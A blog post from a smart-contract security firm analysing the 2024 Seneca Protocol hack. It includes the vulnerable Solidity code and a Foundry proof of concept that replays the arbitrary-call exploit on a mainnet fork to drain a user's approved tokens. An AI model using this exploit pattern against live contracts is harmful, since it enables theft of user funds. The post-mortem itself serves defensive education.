Back to blogs
Written by
Ciara Nightingale
Published on
March 22, 2024

Seneca Attack - Hack Analysis & Proof of Concept

Seneca Protocol is a decentralized finance product which was exploited for $6million. Here is how it happened, a proof of concept, and how to mitigate it.

Table of Contents

On February 28th, 2024, the Seneca Protocol was exploited for ~$6 million. The exploit was due to the Chamber contract having approval on users’ funds alongside an external call in the Chamber contract.

In the code, the external call was made accessible within the Chamber::performOperations external function. This enabled the attacker to dictate which internal function was invoked. Specifically, this permitted the attacker to invoke Chamber::_call, which allowed the attacker to call any function on any contract as it accepts any arbitrary callData and any callee address. Consequently, the attacker could execute transferFrom() and transfer tokens from users' wallets to the attacker's address.

This exploit led to funds being stolen from users’ wallets directly instead of from users’ funds directly deposited into Seneca.

Seneca Protocol and its Background

Seneca Protocol is a decentralized finance (DeFi) collateralized debt position (CDP) protocol for yield-bearing assets. It allows users to borrow senUSD — a stablecoin pegged to $1 — against yield-bearing assets and leverage the yield.

The vulnerability in the Chamber contract, a collateral debt position factory, led to this exploit. The Chamber contract allows users to borrow $senUSD against collateral tokens while earning a fixed yield on their collateral.

Vulnerability Details

The attacker stole a total of ~$6M  by taking advantage of the lack of input validation when calling Chamber::performOperations:

1/7 of the attacker’s performOperations calls

Chamber::performOperations is an external function that allows callers to specify the following:

  • actions: An int8 array to specify the target function(s) to call.
  • values: A uint256 array to specify the amount of ETH to send with the function call.
  • data: A bytes array to specify the arguments to the function(s).

Using a value of 30 for actions[0] meant that Chamber::performOperations called the internal function Chamber::_call:


// constants specified in Constants.sol
uint8 public constant OPERATION_CALL = 30;

// IF statement in performOperations()
else if (action == Constants.OPERATION_CALL) {
	(bytes memory returnData, uint8 returnValues) = _call(values[i], datas[i], value1, value2);
	...
}


This enabled the attacker to call any contract with any arbitrary data. The attacker was able to set callData as a transferFrom() function on a token,  specify the from address to a user’s address, and the to address to an attacker's EOA address:


function _call(
        uint256 value,
        bytes memory data,
        uint256 value1,
        uint256 value2
    ) whenNotPaused internal returns (bytes memory, uint8) {
        (address callee, bytes memory callData, bool useValue1, bool useValue2, uint8 returnValues) =
            abi.decode(data, (address, bytes, bool, bool, uint8));

        if (useValue1 && !useValue2) {
            callData = abi.encodePacked(callData, value1);
        } else if (!useValue1 && useValue2) {
            callData = abi.encodePacked(callData, value2);
        } else if (useValue1 && useValue2) {
            callData = abi.encodePacked(callData, value1, value2);
        }

        require(!blacklisted[callee], "Chamber: can't call");

				// external call where caller can specify the callee, value and callData!
        (bool success, bytes memory returnData) = callee.call{value: value}(callData);
        require(success, "Chamber: call failed");
        return (returnData, returnValues);
}

Since the msg.sender was the Chamber contract, the attacker could transfer funds to themselves since the Chamber contract had an approval amount that exceeded the total amount of collateral deposited.

transferFrom() originating from performOperations call

This meant that the attacker was able to steal more than $6M of users’ funds. After a call from Seneca to return the majority of the funds via a Whitehat request, 80% of the funds have now been recovered.


Attacker balance before exploit: 0 PT-rsETH
Users balance before exploit: 1385 PT-rsETH
Attacker balance after exploit: 1385 PT-resETH
Users balance after exploit: 0 PT-rsETH


Proof of Concept: Replicating the Hack

The following code, written using Foundry, is a proof of concept for this hack and recreates the attack steps described above:


contract SenecaPoC is Test {
    IERC20 constant PTrsETH = IERC20(0xB05cABCd99cf9a73b19805edefC5f67CA5d1895E);
    IChamber constant CHAMBER = IChamber(0x65c210c59B43EB68112b7a4f75C8393C36491F06);

    function setUp() public {
        vm.createSelectFork("eth", 19325936);
        //vm.etch(address(MARKETS_IMPL), address(deployCode('MarketsView.sol')).code);
        vm.label(address(CHAMBER), "Chamber");
    }

    function testPoc() public {
        console.log("Attacker balance before exploit:", PTrsETH.balanceOf(0x94641c01a4937f2C8eF930580cF396142a2942DC)/1e18, "PT-rsETH");
        console.log("Users balance before exploit:", PTrsETH.balanceOf(0x9CBF099ff424979439dFBa03F00B5961784c06ce)/1e18, "PT-rsETH");
        // arguments to pass to performOperations
        // perform OPERATION_CALL = 30 for _call to be called
        uint8[] memory actions = new uint8[](1);
        actions[0] = 30;

        // unused value to send with the tx
        uint256[] memory values = new uint256[](1);
        values[0] = 0;

        // create the datas array argument (arguments to provide to call)
        bytes[] memory datas = new bytes[](1);
        // specify that the chamber contract calls tranferFrom
        bytes memory callData;
        callData = abi.encodeWithSignature("transferFrom(address,address,uint256)", 0x9CBF099ff424979439dFBa03F00B5961784c06ce, 0x94641c01a4937f2C8eF930580cF396142a2942DC, 1385238431763437306795);
        address callee = address(PTrsETH);
        bool useValue1 = false;
        bool useValue2 = false;
        uint8 returnValues = 0;
        bytes memory data = abi.encode(callee, callData, useValue1, useValue2, returnValues);
        datas[0] = data;

        CHAMBER.performOperations(actions, values, datas);

        console.log("Attacker balance after exploit:", PTrsETH.balanceOf(0x94641c01a4937f2C8eF930580cF396142a2942DC)/1e18, "PT-rsETH");
        console.log("Users balance after exploit:", PTrsETH.balanceOf(0x9CBF099ff424979439dFBa03F00B5961784c06ce)/1e18, "PT-rsETH");
    }
}


Key Takeaways

  • Audit: This protocol, including the Chamber contract, was audited. Despite this, the vulnerability was not mitigated before the exploit. The protocol was due to undergo a competitive audit in November but the audit did not go ahead. Multiple rounds of auditing including private and competitive audits are recommended.
  • Thorough Testing: Audits are not a fail-safe protection against exploits. To ensure smart contract security, thorough testing, including invariance testing, is required.
    -- Learn more about how fuzz invariant testing can help spot these vulnerabilities by reading this article.

Summary

The absence of input validation led to ~$6M of users’ funds being stolen.

Getting your protocol audited significantly decreases the probability of an attack like this happening.

References

Secure your protocol today

Join some of the biggest protocols and companies in creating a better internet. Our security researchers will help you throughout the whole process.
Stay on the bleeding edge of security
Carefully crafted, short smart contract security tips and news freshly delivered every week.